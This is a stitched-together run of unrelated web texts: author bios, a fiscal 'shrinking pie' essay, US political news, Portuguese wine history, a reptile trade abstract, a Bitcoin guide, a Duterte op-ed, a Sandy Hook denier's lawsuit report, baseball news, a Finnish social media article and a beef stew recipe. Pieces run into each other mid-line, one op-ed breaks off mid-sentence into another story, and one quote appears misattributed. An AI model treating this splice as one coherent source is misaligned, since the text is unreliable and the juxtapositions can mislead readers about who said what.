Dr. Benjamin Brosgol is a senior member of the technical staff at AdaCore. He has more than 30 years of experience in the software industry, concentrating on languages and technologies for high-integrity systems. He has presented papers and tutorials on safety and security certification at numerous conferences and has published articles on this subject in a variety of technical journals. He holds a Ph.D. in Applied Mathematics from Harvard University. He can be contacted at brosgol@adacore.com.
Greg Gicca is Director of Safety and Security Product Marketing at AdaCore. He has more than 20 years of experience in designing and implementing software development tools and has participated in industry and government groups responsible for defining software quality evaluation standards. He has concentrated on the safety and security arena for embedded systems, with a particular focus on the DO-178B safety standard and the Multiple Independent Levels of Security (MILS) architecture. He can be contacted at gicca@adacore.com.Fragmentation, discord, discontent, class war: this is the inevitable result of a shrinking pie.
The politics of the past 70 years was all about horsetrading who got what share of the growing pie: the "pie" being cheap energy, government revenues and consumption, sales and profits.
Horsetrading over a growing pie is basically fun. There's always a little increase left for the losers, so there is a reason for everyone to cooperate in a broad political consensus.
Horsetrading over a shrinking pie is not fun. Everybody is shrilly demanding their piece of the pie should either grow or be left untouched; any cuts must come out of someone else's slice.
Everyone turns on their most compelling emotion-based defense: "we wuz promised" is a reliable standard, as is "we need more money to defend the nation from the rising threat of XYZ." "Help those in need" plays the heartstrings effectively--as long as the "help" comes out of somebody else's pocket.
Everyone sharpens their knives, the better to carve a slice off somebody else's slice of the pie. A passive-aggressive free-for-all ensues as everyone reacts with aggrieved defensiveness to any attempt to diminish their slice, even as they launch shrill attacks on everyone else's defense.
As the pie shrinks, the motivation to join a broad consensus vanishes like mist in Death Valley. Any cooperation is merely a brief tactical move designed to carve a big chunk off another player's slice. Once that's accomplished, the alliance quickly splinters as the survivors battle over the meager spoils.
Any victory is temporary, as a new alliance will arise to decimate the previous winner. Winners in the zero-sum game of divvying up a shrinking pie merely set themselves up as the juicy target for the next ferocious attack by the resentful losers.
Political survival boils down to masking the cuts behind illusory "victories" and bogus projections of solvency. Some modest policy tweak will be heralded as "saving Social Security," meanwhile the end result is a reduction in the purchasing power of whatever benefits remain.
You may well get "what we wuz promised" but it will only buy 50% of what it did a few years ago, after taxes, inflation and "adjustments" are factored in.
Every compromise will be projected to restore solvency to imploding entitlement programs, but it will all be illusion. In two years, insolvency will rear its ugly head again.
The debts, unfunded liabilities, demographics and diminishing pools of income to tap are beyond policy tweaks and minor cuts. Take a look at these charts to grasp the unwelcome realities: sorry, we can't "grow our way out of debt" because the debts and unfunded liabilities are simply too large and expanding at too fast a rate.
Here's the current federal spending pie: 55% is entitlements and interest. Both of those are set to soar as the populace ages and interest rates rise.
Massive, ever-expanding deficits will push federal debt much higher, pushing interest rates up. Everybody wants to raise taxes on "the rich," but a funny thing happens when tax revenues soar above a threshold--the economy spirals into recession, and employment, profits and tax revenues all plummet, forcing even higher deficits.
Entitlement program deficits are exploding higher, and all the conventional policy fixes are like building sand castles to stop a tsunami.
The problem is global: as we consume the cheap energy, what's left to extract and refine is more expensive, so energy costs rise. As the population ages, entitlements soar. As the "growth fixes everything" model fails under the burden of skyrocketing debts, the harsh reality becomes unavoidable:
We haven't "grown" at all. What we've done is borrow from future generations to create the illusion of growth.
Here's another look at debt: the global bond market has soared from $10 trillion to $100 trillion.
Fragmentation, discord, discontent, class war: this is the inevitable result of a shrinking pie. Our political, social and economic systems have no history or memory of how to navigate this systemic Degrowth successfully. Everyone will blame someone else for the insolvency and failure, and that is not a recipe for successful adaptation.
Here's a taste of what lies ahead:
As I always say, don't focus on retiring comfortably; focus on working comfortably.
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Florida Department of Law Enforcement sources told News 13 that Lieutenant Gov. Jennifer Carroll submitted her resignation to Gov. Rick Scott (R) on Tuesday after she was interviewed about her links to Allied Veterans of the World, a nonprofit which operates Internet cafes in Florida.
“Lt. Gov. Carroll resigned in an effort to keep her former affiliation with the company from distracting from the administration’s important work on behalf of Florida Families,” Scott’s chief-of-staff Adam Hollingsworth explained to The Florida Times-Union.
Allied Veterans co-owner Jerry Bass, his lawyer and two top officers from Jacksonville’s Fraternal Order of Police were arrested on Tuesday after a raid on Internet cafes run by the nonprofit. Investigators suspect that Allied Veterans may have been using the Internet cafes for illegal gambling, money laundering, mail fraud and racketeering. The organization also may have lied when it said that it that it gave 70 percent of $290 million in profit to charity. Documents reportedly showed that only 2 percent were given to qualified nonprofits.
Carroll had been featured in a commercial for Allied Veterans in 2010 and she owned the firm 3N & JC, which did consulting work for the nonprofit organization.
As a member of the state House in 2010, Carroll came under fire for a conflict of interest after she proposed a bill to formally legalize gambling at Internet cafes. She later withdrew the bill and claimed a staffer had filed it without her knowledge.
Carroll was also accused of falsifying documents in 2011 that would have made her firm eligible for Jackson County grants for minority-owned companies, according to the Times-Union. Forged leased documents made it appear that the Clay County firm was located in Jackson County.
In 2012, Carroll responded to rumors that she was having a lesbian affair by asserting that women who look like her “don’t engage in relationships like that.”
[Photo: Executive Office of Governor Rick Scott]A look at Portugal's wine renaissance
What country drinks as much wine per capita as France and Italy, developed an appellation system 190 years before France did, and has a national grape that should be the qualitative envy of the world yet is virtually unknown?
The answer is Portugal.
The center of Portugal's wine trade is Oporto, and its twin city, Vila Nova de Gaia. Oporto is an ellipsis of the words "O Porto," meaning "The Port," and Gaia is a corruption of "Cale," the name of a Roman fortress town.
Lest anyone doubt Oporto and Gaia's centrality to the Portuguese national identity, it may be useful to remember that Portugal gets its name from Porto and Cale, or Porto-Cale.
In fact, Portuguese still red and white wines are only now leaving the shadow of fortified Port wine. The history of England's concession in Oporto/Gaia, England's power to commercialize Port throughout the world, its lore as the preferred drink of London dining clubs and Oxbridge colleges, and not least, its uniqueness as a fortified wine, have given Port wine, for better and worse, a dominant position in the Portuguese wine trade.
For over 250 years, the only wines exported from Portugal were Port, and much later, the vaguely fun frizzante roses of Mateus and Lancers. The extraordinarily clean, opulent, mouth-popping flavor of Portugal's still wines have not come onto the international wine scene until the past 25 years or so, and they are only now starting to make a splash.
England and Portugal's Port-centered relationship is well known. Trade between the two countries began around 1250, then was accelerated by England's loss of access to Bordeaux wines during the Hundred Years' War and Portugal's border skirmishes with Spain at the same time. England and Portugal went on to develop the greatest empires of their day, but Portugal over-extended its resources quite quickly.
By the mid 17th century, Portugal was mired in chronic dynastic and military struggles. England came to Portugal's rescue, but at a heavy cost to Portugal. The Commonwealth Treaty of 1654 exempted England from Portuguese legal oversight in Oporto and Gaia, and the Methuen Treaty of 1703 gave Port wine preferential duties in England in return for similar treatment of English textiles.
By the 18th century, an adversarial relationship had developed between the British and Portuguese officials and even more so between British shippers and Portuguese grape growers.
Higher competition, lower prices, and plain greed pushed the British shippers to offer lower prices to growers for their grapes. Pushed to the limit, growers often adulterated the grape juice on offer with local berry juice and even water. The combination of degradation and fraud eventually came to affect tax revenues to the Portuguese Crown.
The prime minister and dictator of Portugal at that time, the Marquis de Pombal, modernized the ownership and exploitation of vineyards, reserving several of the greatest Quintas, or plantations, for himself (of course!)
He also instituted a new price scale for grapes based on each Quinta's terroir characteristics: soil, elevation, gradient, location, aspect to the sun, rainfall, etc. In doing so, Pombal preceded the French appellation system by almost 200 years.
Yet for all their modernizing effect, Pombal's reforms also turned Port into a sort of national champion that thoroughly dominated all other wines from Portugal.
The still wine industry in Portugal turned in on itself, abetted by an insular military dictatorship through much of the 20th century, non-existant investment, and a surplus of grape varieties indigenous to Portugal and unknown in the world at large.
It was not until the late 70s that Portugal began to improve its other still wines and consider exporting them. First, through a fortuitous World Bank study of Port wine's manufacturing inefficiencies, five grapes were identified as being of the highest quality.
Wine drinkers outside Portugal are only now beginning to hear the names Touriga Nacional, Tinta Roriz/Arragones, and Touriga Francesa.
Yet they are the basis of Portugal's wine renaissance. Second, Portugal's entry into the EU, in 1986, completely revolutionized Portugal's access to markets and its access to capital, much of it subsidized by EU agriculture programs.
Both Spain and Portugal took full advantage of these programs, and wine customers see the results in the enormous selection of Spanish wines and Spain-sponsored tastings in New York City and at select wine stores. Portugal, somewhat more tardily, is following in step.
The star of Portuguese winemaking is the Touriga Nacional. It is the heart of all good Port wine, but as a dry wine, TN produces opulent wines with great acidity and a pluminess reminiscent of a good Ripasso or Amarone.
TN must be recognized as one of the world's greatest grapes, and soon. Tinta Roriz and Arragones are none other than the Spanish Tempranillo grape that is found in the great wines of Rioja and Ribera del Duero.
In the north of Portugal, the grape is Tinta Roriz, and in the South, it is Arragones. Finally, Touriga Francesa adds huge perfume and color to wines.
Regions of note in Portugal include the Douro, the Dao, and the Alentejo. The Douro and Dao produce opulent wines, while the Alentejo produces more austere wines, especially suitable for matching with lamb, salads, and even fish.
A number of notable wine regions also exist near the Setubal Peninsula, south of Lisbon: the Moscatel of Setubal is sweet, rich and had incredible flavors of caramel, orange, peach, and tangy citrus fruits. The Palmela region produces fine, clean white wines. And the Bucelas, Ribatejo, Terras do Sodo and Bairrada regions are starting to bring out very nice red wines.
Some notable wines are:
Altano: a Douro wine that is plummy, but well-balanced. (Worldwide Wines)
Berco do Infante: "the child's cradle." A wonderful, plummy wine with great balance. (Maja Imports)
Callabriga: rich wines in easily-recognized color-coded, distinguished bottles. They produce an Alentego and a Douro. (Opici Wines)
Esporao Red: the leader of Portugal's renaissance. These wines are the equal of top-end reds from other countries, yet come in at under $30 a bottle. One of the masterpieces of Portugal. (Maja Imports)
Quinta do Carmo: another Douro wine; one of the finest Quintas of Portugal. (Worldwide Wines)
Quinta de Romeira: one of the treasures of the Bucelas region. (Maja Imports)
Vista "Beiras" Tinta Roriz (Tempranillo): more fruit-forward than a typical Rioja Tempranillo wine, but quite compelling, and at a nice price. (Iberia Imports)
Vista "TN" Touriga Nacional: one of the most opulent and best wines I've had in a while. Beautiful stuff. (Iberia Imports)
Francois Steichen, a resident of Old Greenwich, is the wine manager at Castle Wine & Spirits in Westport. He also works Tuesday evenings at Glenville Wine & Spirits, Castle's sister store in Greenwich. He was previously on the sales staff at Acker, Merrall and Condit in New York City, the oldest wine shop in America.( ) — The Mexican Consulate of Utah is offering legal counsel for documented and undocumented immigrants.
It’s one of several dozen resources the Mexican government set up in the United States after President Donald Trump promise to strengthen our nation’s borders and crack down on illegal immigration.
Community activist David Morales gathered to offer his support to legal and illegal immigrants who are looking for advice.
"A lot of people think immigrants don't have rights. We do," Morales said.
Morales spoke out in support of these rights. Trump’s executive order means immigrants with any sort of criminal history can be deported.
“So that means people with jaywalking citations, traffic tickets,” Morales said. "Even if you were not charged with a crime. Even if the judge found you innocent, even if someone dismissed charges against you, just because you were charged with anything on the record, you're subject to be deported."
Morales said he wants to see a reverse order on Trump’s executive order.
"We want all Americans to succeed — but that can't happen in an environment of lawless chaos,” he said. "It is not compassionate, but reckless, to allow uncontrolled entry from places where proper vetting cannot occur."
The Mexican government set up 50 locations to offer legal help not only to Mexicans, but to any immigrant in the U.S.
"Unfortunately, Trump's image of what immigration reform is, is nothing compared to what we have hoped for."(Photo courtesy of Los Angeles Community Action Network)
The City Council voted Friday to require all L.A. farmers markets to accept CalFresh/EBT as a form of payment, increasing access to healthy food for low-income Angelenos across the city. The unanimous vote is being hailed by community groups as a victory in the fight for food justice.
KPCC reports that well over a million people in the L.A. area rely on CalFresh (formerly known as food stamps) to buy groceries each month, and even more are eligible for the program. Yet—until now—almost half of L.A.'s farmers markets didn't accept EBT as a form of payment (EBT is the electronic system through which CalFresh benefits can be accessed).
Ariana Alcaraz, an organizer with the Los Angeles Community Action Network, tells LAist that the seeds for the campaign, which was led by LA CAN and the Los Angeles Food Policy Council, were first planted four or five years ago, when LA CAN initially began to engage with downtown farmers markets about accepting EBT. The organization found that lobbying individual markets directly was often unsuccessful, so, as Alcaraz said, "If we were asking farmers market managers to do it and they weren't accepting EBT, there would have to be some sort of rule that would force them to do it."
The formal effort began a year ago, when her organization joined forces with the Los Angeles Food Policy Council, and found a champion in Councilman Jose Huizar. Huizar, who Alcaraz said listened extensively to the community's concerns, introduced the motion in council.
"Many parts of L.A. are considered to be food deserts, where grocery stores are very few and far between," Alcaraz told LAist. "LA CAN is based in downtown and skid row, and the closest grocery store to us is Whole Foods, and then Ralphs, both of which can be very expensive," she said, explaining that EBT access at farmers markets will allow low-income Angelenos to access to healthy food that they might otherwise be unable to find at corner stores or other nearby markets.
“If you have a farmer’s market that doesn’t have EBT, that individual who uses it is going to to go to a local store that perhaps doesn’t have fresh fruit and vegetables, so at the end of the day this is going to allow for a healthier individual with the use of EBT and a healthier Los Angeles,” Huizar told KPCC.
But the benefits will also extend beyond individual EBT-users. According to Alcaraz, part of the reason having EBT access at farmers markets is so important is because it enables people using food stamps to contribute directly to the local economy and support local vendors. The Los Angeles Food Policy Council reports that EBT access aids the sustainability of a farmers market, attracting new customers and significantly improving a market's longterm viability.
"[This] is a small action that will have a huge impact for individuals and families citywide. By requiring EBT at all farmers markets, we are one step closer to closing the gap in food access and addressing food insecurity for low-income Angelenos,” Huizar said in a statement. Today's vote directed the city attorney to draft an ordinance on the measure, which will then be approved by the City Council before becoming law.Van de Putte to run for San Antonio mayor
Texas Senator Leticia Van de Putte speaks with reporters about her decision to run for Mayor of San Antonio. Wednesday, Nov. 19, 2014. Texas Senator Leticia Van de Putte speaks with reporters about her decision to run for Mayor of San Antonio. Wednesday, Nov. 19, 2014. Photo: BOB OWEN, San Antonio Express-News Photo: BOB OWEN, San Antonio Express-News Image 1 of / 15 Caption Close Van de Putte to run for San Antonio mayor 1 / 15 Back to Gallery
SAN ANTONIO — After months of speculation from local political observers that state Sen. Leticia Van de Putte would run for mayor here, she declared Wednesday her candidacy to San Antonio’s top elected office.
Van de Putte’s decision to run for mayor disrupts the bid of state Rep. Mike Villarreal, D-San Antonio, who has been mounting a mayoral campaign for months and might otherwise have easily sailed into the seat next year.
“I think any leader has to have a basis of a character and of that makeup that makes them strong — and not strong physically, and maybe not strong emotionally, but strong in the sense of commitment — and for me, that strength comes from a faith and family,” Van de Putte told the San Antonio Express-News on Wednesday.
“And so the decision that our family has made and that I want is to be the next mayor of San Antonio,” Van de Putte said in an interview with the newspaper.
Van de Putte, a Democrat from the West Side, is positioned to hit the ground running, having just wrapped up a year-long, unsuccessful campaign for lieutenant governor.
She lost the statewide race to Lt. Gov.-elect Dan Patrick, who garnered about 58 percent of the vote to her 40 percent. Van de Putte, however, won Bexar County with 50.6 percent of the local vote.
Van de Putte served in the Texas House of Representatives from 1990 until 1999, when she was elected to Senate District 26, the seat she still holds.
Known as an even-keeled voice for her West Side district, the 59-year-old pharmacist has a track record of working both within her party and across the aisle at the Capitol.
Such ability is beneficial for presiding over the City Council. Though it’s a nonpartisan body, the members that comprise it wear on their sleeves their political affiliations, which span the partisan spectrum.
Van de Putte’s decision to run will likely dissuade some candidates from joining the mayoral fracas.
The election is May 9, 2015.
jbaugh@express-news.net
Twitter: @jbaughOf the 10,272 currently recognized reptile species, the trade of fewer than 8% are regulated by the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES) and the European Wildlife Trade Regulations (EWTR). However, the International Union for Conservation of Nature (IUCN) Red List has assessed 45% of the world's reptile species and determined that at least 1390 species are threatened by “biological resource use”. Of these, 355 species are intentionally targeted by collectors, including 194 non-CITES-listed species. Herein we review the global reptile pet trade, its impacts, and its contribution to the over-harvesting of species and populations, in light of current international law. Findings are based on an examination of relevant professional observations, online sources, and literature (e.g., applicable policies, taxonomy [reptile database], trade statistics [EUROSTAT], and conservation status [IUCN Red List]). Case studies are presented from the following countries and regions: Australia, Central America, China, Galapagos Islands (Ecuador), Germany, Europe, India, Indonesia (Kalimantan), Islamic Republic of Iran, Japan, Madagascar, Mexico, New Zealand, the Philippines, South Africa, Sri Lanka, Vietnam, Western Africa, and Western Asia. The European Union (EU) plays a major role in reptile trade. Between 2004 and 2014 (the period under study), the EU member states officially reported the import of 20,788,747 live reptiles. This review suggests that illegal trade activities involve species regulated under CITES, as well as species that are not CITES-regulated but nationally protected in their country of origin and often openly offered for sale in the EU. Further, these case studies demonstrate that regulations and enforcement in several countries are inadequate to prevent the overexploitation of species and to halt illegal trade activities.Image: iStock
Chances are good you’ve at least heard of Bitcoin and the concept of digital currencies. Lately, they’ve been in the spotlight more than usual.
With good reason. Bitcoin prices have skyrocketed from just under $1,000 for one Bitcoin on January 1, 2017 to more than $6,000 at the beginning of November 2017.
That’s 600% in less than a year.
Enough people have made a decent amount through Bitcoin that investment groups are sitting up and taking notice.
Griffith Online is an accelerated online offer from Griffith University. Their Master of Finance accelerated online program will equip you with invaluable tools and techniques that are essential to making effective financial and investment decisions in a range of positions, organisations and industries.
The world’s largest futures and options trading group, CME, announced in November 2017 that it plans to debut Bitcoin futures with a view to opening an ETF. (An ETF is an “exchange traded fund” – a type of investment that you can buy and sell on the share market, like a company.)
For now, though, individual investors are on their own when it comes to making money from Bitcoin. So how can you get started?
Some things to keep in mind before you invest
Bitcoin is massively volatile.
In 2014 the FBI raided a dark web marketplace called Silk Road – it allowed users to buy drugs and other illegal items with Bitcoins. After the raid, Bitcoin’s price collapsed. In 2013, the online exchange Mt Gox briefly halted deposits: Bitcoin prices fell more than 20%.
On the other hand, positive moves cause huge changes too. That futures and options trading group we just mentioned, CME – their recent announcement about plans for Bitcoin futures sent the price above $USD6,600.
Another thing: currencies are only as good as the places that accept them. If stores all of a sudden decide that they don’t want to accept Bitcoin, then the value will fall.
Bottom line: don’t put money into Bitcoins that you aren’t prepared to lose.
How to buy Bitcoin
The simplest way to invest in Bitcoin is to buy individual coins, and the most popular way you can do that is through an exchange. The most popular exchanges – sites like Coinbase, Coinjar, Bitfinex, Bitstamp and Gemini – follow a pretty similar process.
First, you sign up for an account (some require verification with ID). Next, you need to connect a bank account (or a debit/credit card) so you can start buying Bitcoins. Then, it’s simply a matter of transferring money from your bank account into your exchange account, then using that money to buy as many Bitcoins as you want.
Pick your exchange carefully. Many are reputable, but there are always scammers out there. And exchanges without good security measures can leave accounts containing Bitcoins vulnerable to attack.
Once you buy them, store them somewhere else
You can keep your Bitcoins in an exchange. But a lot of Bitcoin buyers – and the exchanges themselves – advise against it. After all, they’re susceptible to hacking like any other website.
So what’s the alternative? Something called a Bitcoin wallet. These are pretty much what they sound like – services that allow you to hold your Bitcoins in one place. There are a few different types:
Online wallets: Online services that allow you to keep your Bitcoins in them, secured with account credentials. They’re easy to use, but remember – they’re still online. Online wallet hosts have been hacked before. There are smartphone-based wallets like Xapo available too.
Offline wallets: Offline services that you can download and use as a way to store your Bitcoins. Some even let you hold your Bitcoins on a USB drive. (There are some made just for protecting Bitcoins). Some users call this "cold storage".
These are great for people who want to make sure their Bitcoins are on their machine, and their machine alone. As a result, many people believe they are superior to online services, but they have risks too. Like if you throw your hard drive away and lose millions of dollars.
Paper wallets: Some exchanges or wallets let you create a "paper key". These are paper copies of the cryptographic information that essentially make up your Bitcoins, along with QR codes. The advantage? Your Bitcoins aren’t vulnerable to hacks.
However, putting anything on paper means it can be destroyed, so you’ll need to keep it somewhere that no one can ever find it, like a safe. Any of these solutions will work – it really comes down to how much risk you’re willing to take.
How to sell Bitcoin
Simply reverse the process. Send your Bitcoins from a wallet to an exchange, then transfer your Bitcoins into the currency of your choice.
A lot of exchanges put limits on how much you’re allowed to transfer, like $2,000 or $3,000 a day. So if you’ve struck it rich and made $3 million you’re going to have to either cash out that Bitcoin across multiple exchanges to withdraw it quickly, or do it over a longer period of time.
Put money away for tax
Any time you make money from an investment you need to pay taxes on it. In most countries, including Australia, that tax is the capital gains tax.
Here’s how CGT works: the profit you make from your sale is added to your income. So if you buy $10,000 worth of Bitcoins, then sell at $50,000, then you’ve made a profit of $40,000. That $40,000 is added to your total income and taxed.
Be sure to figure out what tax bracket you’ll be in as a result of your profits, then put the appropriate amount of money aside.
You also need to keep records, including:
The date of the transactions
The amount in Australian dollars
What the transaction was for, and
Who the other party was
It’s strongly recommended that you see an accountant who can specialise in cryptocurrencies if you end up selling for a large profit.
Ready to get started?
Investing in Bitcoins isn’t as easy as just buying some shares – you need to put some effort into where and how you buy, along with the reliability of any exchange or wallet you use. But if you’re willing to take the risk, holding on to some digital currencies could be a way to diversify your assets.
Just remember – only buy Bitcoins with money you’re willing to lose.PHOENIX Jones, who gained notoriety as a self-proclaimed superhero, failed to get his contract renewed with the Washington Department of Social and Health Services (DSHS).
Jones, whose real name is Ben Fodor, had contracted with the agency as a home-care provider and worked with autistic children.
A statement from DSHS refutes an earlier report from Publicola.com that Fodor had been fired from his job.
DSHS said that when Fodor's contract came up for renewal in October, a routine background check was conducted, which revealed that he had been arrested on assault charges. An assault conviction disqualifies people from contracting with DSHS for work with vulnerable adults and children, the agency said.
Fodor's legal team at the Impact Law Group said that he is sad to be out of his job because he really enjoyed teaching the kids.
"I had to leave work in the middle of the day," he told Publicola. "It was embarrassing."
The lawyers also confirmed that Fodor received a letter from the state DSHS. It said that if Fodor is not convicted of assault, his contract status can be reinstated. The agency also said that he has the right to appeal the decision to not extend his contract.
On October 9, Fodor was arrested by Seattle police for allegedly pepper-spraying a group of men and women near Pioneer Square. Following a court appearance, he revealed his real name and secret identity as a 23-year-old mixed martial arts fighter.
Prosecutors have not filed charges and a spokeswoman for the city attorney's office said the case is being investigated.
Fodor said he is not sure how he will pay the bills now. While he has received offers for fight bouts from the Strikeforce mixed martial arts organization, he also plans to start fighting crime in the daytime, in addition to his night patrols around Seattle.
Originally published as Self-styled superhero loses jobWhy should this pivot to China come at the expense of our hard-won victory at The Hague?
Published 10:20 AM, October 17, 2016
President Duterte visits China this week with a very clear message: you, our giant neighbor, are our great friend and you will supplant our old ally, the US. You’re in, the US is out.
Duterte has telegraphed all his punches to Beijing:
For all of Duterte’s supposed political astuteness, he has failed here, leaving our foreign policy naked. There’s nothing left for the clever and aggressive power in our region to decipher.
It has come easy to China, pulling us to their embrace. Or rather, our President has dragged us into their ambit.
How did it come to this? Wasn’t it only a few years back, in 2012, when China occupied Scarborough (Panatag) Shoal, which falls within our exclusive economic zone? They remain there, to this day, prohibiting our fishermen from plying their trade.
More recently, China started to build an artificial island in Scarborough.
And yes, how can we forget! Wasn’t it only in July when the Philippines won overwhelmingly in its arbitration case versus China at The Hague? Wasn’t this supposed to be our leverage in dealing with China?
All this, however, has been buried in a remote part of Duterte’s mind.
Last week, he said he will not even whisper Scarborough to President Xi Jinping. He indicated he might strike a deal with Beijing for joint explorations for oil in the West Philippine Sea.
No less than Philippine Supreme Court Senior Associate Justice Antonio Carpio raised alarm, warning the President that conceding sovereignty to China violates the Constitution and can be grounds for impeachment.
On Sunday, October 16, before departing for his back-to-back trips to Brunei and China, Duterte gave assurances |
a deadly attack on a school in Pakistan in 2014, and that Tracy asked them to document their copyright claims.
Leo said that Tracy would not be available to comment Tuesday.
Soon after the Pozners’ piece had published, Tracy wrote an online post re-asserting his beliefs that no one was killed in Newtown that day, that “local co-conspirators” got financial benefits for faking grief and that the parents were trying to get him fired.
“Do ‘the legitimate interests of the university’ include the pursuit of truth?” he wrote. He gave examples of research about the “performance” at Sandy Hook, such as, “no surge of EMTs in to the building, no string of ambulances to take them to hospitals to be declared dead or alive, no Med-Evac helicopter called to the scene, no 469 other students evacuated and no bodies placed on the triage tarps outside. ”
Tracy earned his doctorate in mass communications at the University of Iowa and specialized in communications, media studies and conspiracy theories. He was hired in 2002 and granted tenure in 2008 by Florida Atlantic, where he taught classes including “Culture of Conspiracy” and was praised by Project Censored, a group that highlights exposure of underreported or suppressed news, for a story on wireless technology as a “looming health crisis.”
The university’s policies strongly support academic freedom and pledge that the board of trustees, who are named in the lawsuit, will defend the right of students and faculty to learn and teach “ideas that might be unpopular or not in the mainstream of accepted thought.”
But the lawsuit argues that the university’s policy about conflicts of interest and outside activities is confusing and vague and is used to restrict speech protected by the Constitution; it cites comments from a faculty meeting in September at which professors objected to the confusing nature of the policy and feeling they were being ordered to get prior approval from the university before writing or expressing personal opinions on topics unrelated to Florida Atlantic.
The lawsuit alleges that the union representatives did not respond to the university’s intent to terminate, nor did they file a grievance on Tracy’s behalf, and that as a result he was automatically terminated in January.
Representatives of the Florida Education Association and United Faculty of Florida did not immediately respond to requests for comment Tuesday.
Tracy’s lawsuit includes a call for his reinstatement on the faculty and compensation.LAKE BUENA VISTA, Fla. — Joe Girardi didn’t baptize Freddy Garcia as a member of the Yankees rotation yesterday. But the manager left very little to the imagination by talking glowingly of the veteran right-hander.
“Freddy, as much as anyone, we have a pretty good idea of what he can do,’’ Girardi said before the Yankees and Braves tied, 5-5 in 10 innings at Champion Stadium.
Considering Phil Hughes has met every criteria given him during the offseason, he is the solid bet to be Girardi’s No. 3 starter.
Including Garcia in the group of five leaves Ivan Nova, who pitches in a minor league game today, and Michael Pineda, who goes tomorrow against the Phillies, for the final spot after CC Sabathia and Hiroki Kuroda take the first two spots.
Nova and Pineda, both right-handers, have one year of big league experience each and that doesn’t compare with Garcia’s 11-plus seasons.
“When you look at a guy who doesn’t have a lot of time, you are trying to consider the upside of what you can possibly give because they don’t have the same track record as Freddy,’’ Girardi said. “You have a good understanding of what Freddy is going to give you.’’
Garcia, who went 12-8 with a 3.62 ERA in 26 games (25 starts) last year, long ago gave up trying to over-power hitters. These days he throws five pitches and doesn’t push speed guns into the mid-90s. However, Girardi has noticed a spike in the 35-year-old’s fastball that he believes will help the off-speed stuff.
“His velocity is up a little bit and that is not something I would have expected,’’ Girardi said of Garcia, whose fastball hovered in the high-80s a year ago. “I think it will help all his pitches because there is a bigger discrepancy.’’
So what becomes of the odd man out? He can land in the pen, but if it’s Pineda there is no reason for him to be a long man while attempting to build arm strength needed to throw more than 90-mph fastballs consistently.
If Nova is the winner, Pineda could start the season in the minors. That might shock some because Jesus Montero’s potential power bat was sacrificed to land the 23-year-old Pineda but it’s clear Pineda’s arm strength — which is what spring training is for building — hasn’t arrived.
If it’s Pineda, Nova could be a long man in the pen or in the minors after winning 16 games as a rookie last year.
“We could do that [long reliever] and some of the guys we could send down,’’ Girardi said. “That’s the worst part of this, that somebody is going to be disappointed. But they have to get over their disappointment to help this team.’’
Girardi said there is a possibility his decision could be relayed to the players involved as soon as Saturday after watching Nova today and Pineda tomorrow. It’s a decision that has been difficult for the manager.
“The other times we were searching for the five starters,’’ Girardi said. “This year, we have six quality guys for five spots.’’
While Girardi said “probably’’ when asked if this was the toughest personnel decision of his managerial career, Andy Pettitte could provide a more difficult problem if he is ready in early May and the five starters are pitching well.
As for Garcia, the unknown of Nova and Pineda are being measured against Garcia’s track record.
“You are trying to envision what they can give you, the amount of innings they can give you and continue to improve,’’ Girardi said of the young right-handers. “You look at Freddy’s year last year and it was really good. And for a guy who is not supposed to pitch well in spring training he has pitched well (1-1; 2.92 ERA in four starts).’’
Well enough to leave the final spot to Nova or Pineda.
george.king@nypost.comSome
Ari Karkimo
Jotkut Facebookin rakentamisessa mukana olevat ihmiset ovat ryhtyneet katumaan tekosiaan. Palvelun varajohtajanakin työskennellyt Chamath Palihapitiya kertoo, miksi hän on vetäytynyt sosiaalisesta mediasta ja neuvoo muitakin tekemään samoin. Asiasta on kirjoittanut muun muassa Quartz.
Palihapitiya aloitti työnsä Facebookilla vuonna 2005 ja vetäytyi syrjään vuonna 2011. Nyt hän sanoo tuntevansa raskasta syyllisyyttä siitä, että auttoi luomaan välineen, joka repii kappaleiksi sosiaaliset rakenteet.
Ex-pomo katuu järjestelmää, joka perustuu nopeaan hyvää mieltä tuottavaan palautteeseen – kuten peukutuksiin ja jakoihin. Samalla se on pitkälti romuttanut yhteiskunnan perusteita: ei enää julkista keskustelua eikä yhteistyötä, vaan väärä tietoa ja epäluottamusta. Suuria ihmisjoukkoja kyetään manipuloimaan somen avulla.
”Sosiaalinen media turmelee inhimillisen käyttäytymisen perustan”, hän moittii.
Palihapitiya sanoo lopettaneensa somen käytön, kieltäneensä sen lapsiltaan ja neuvoo kaikkia muitakin ryhtymään some-lakkoon.
“Ette ymmärrä sitä, mutta teitä ohjelmoidaan. Nyt on aika päättää, missä määrin olette valmiita luopumaan itsenäisyydestänne”, hän sanoo.
Tällä Palihapitiya ilmeisesti viittaa siihen, että Facebookin algoritmit osaltaan säätelevät, minkälaisena käyttäjät maailman näkevät ja kokevat.
Ole hyvä ja kytke Javascript päälle nähdäksesi kommentit.A delicious, rich, and slightly unique take on beef stew. Not so many people have heard of using coffee with beef in a stew, but trust me when I say this – you need to try it! The deep flavors that it produces is fantastic, almost similar to fish sauce that I add in other stews or chili’s of mine.
When you’re cooking the beef, it’s imperative that you don’t overcrowd the pan. You want nice caramelized browns on the cubes of beef – adding more flavor as they cook down with the rest of the ingredients. For red wine, I normally choose a Merlot. Anything that’s under $12 but above $5 works best for me. Not too expensive, but not too cheap. Cooking with wine can add great depths of flavors – and even unique flavor combinations you might have not tasted before.
You might call me lazy on this one (and I know sometimes I am), but I bought my mushrooms pre-sliced. The measurement of grams wasn’t taken, but if you slice your own mushrooms, it was just over 1 1/2 cup that I added to the entire recipe. The mushrooms help soak up some of the juices, and also add an essence of savory that I really enjoyed. You can garnish with a sprinkling of oregano and turmeric, but it’s not required.
Yields 6 Total Servings
The Preparation
2.5 pounds stew meat
stew meat 3 cups coffee
coffee 1 cup beef stock
beef stock 1 ½ cup baby bella mushrooms
baby bella mushrooms 2/3 cup red wine, like Merlot
red wine, like Merlot 1 medium onion
onion 3 tablespoons coconut oil
coconut oil 2 tablespoons capers
capers 2 teaspoons garlic
garlic 1 teaspoon salt
salt 1 teaspoon pepper
The Execution
1. Cube all stew meat into bite-size chunks. Cut off excess grit. Season with 1 tsp. Salt and 1 tsp. Pepper.
2. Slice onions, mushrooms, and mince garlic.
3. Bring 3 Tbsp. Coconut Oil to its smoking point in a pan on the stove.
4. Brown your beef in batches that don’t overcrowd the pan.
5. As you finish a batch, remove the beef to a plate and continue with your other batch (or batches).
6. Brew 3 cups of strong coffee. I use a Keurig coffee maker for this.
